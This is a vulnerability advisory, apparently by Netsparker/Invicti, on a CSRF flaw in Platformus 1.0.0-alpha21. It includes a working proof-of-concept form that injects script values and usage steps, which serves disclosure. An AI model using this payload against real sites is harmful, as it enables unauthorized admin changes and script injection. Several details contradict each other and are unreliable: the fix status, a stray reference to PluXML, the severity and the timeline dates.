Cross Site Request Forgery Vulnerability in Platformus 1.0.0-alpha21

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Vulnerabilities in Platformus 1.0.0-alpha21
Affected Software: Platformus
Affected Versions: 1.0.0-alpha21
Homepage: http://www.platformus.net/
Vulnerability: Cross Site Request Forgery
Severity: Low
Status: Fixed
CVE-ID: 2018-14488
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-013

Technical Details

Cross Site Request Forgery

Proof of Concept URL for XSS vulnerability in PluXML 5.5;

URL: http://{platformus_url}/backend/cultures/create

Exploit:

<form action="http://{platformus_url}/backend/cultures/create" method="post">
<input type="hidden" name="code" value='asd"><script>alert(1)</script>'>
<input type="hidden" name="name" value='asd"><script>alert(1)</script>'>
<input type="hidden" name="isDefault" value='true'>
<input type="hidden" name="isBackendUi" value='true'>
<input type="hidden" name="__RequestVerificationToken" value='asd'>
<input type="submit" value="We can submit this form without User Interaction">
</form>
  1. Login to Platformus Demo (or your website url).
  2. Run exploit in your browser.
  3. Exploit add new Culture to your Platformus Application without Admin’s Knowledge.

Note: Platformus Application uses a same-site feature on Cookies, But Same-site feature doesn’t support all major browsers. It is only supported from Chrome, Opera, Android Mobile Browser. You can check here same-site support https://caniuse.com/?search=samesite. If Admin uses IE, Edge, Safari, Firefox, Admin will affect this vulnerability.

Using the same-site feature is a very good practice but it’s not enough.
Culture Add/Edit Form has a "__RequestVerificationToken" input. But Verification Token Input doesn’t control valid or not.

For more information on cross-site scripting vulnerabilities read the section Cross-site request forgery.

Advisory Timeline

29th September 2017 – First Contact
1st October 2017 – Technical Details Reported
11th December 2018 – Attempted to Contact 
17th January 2018 – Attempted to Contact 
26th October 2018 – Advisory Released

Solution

No solution is available at the time of publishing this advisory.

Credits & Authors

These issues have been discovered by Mustafa Yalçın while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.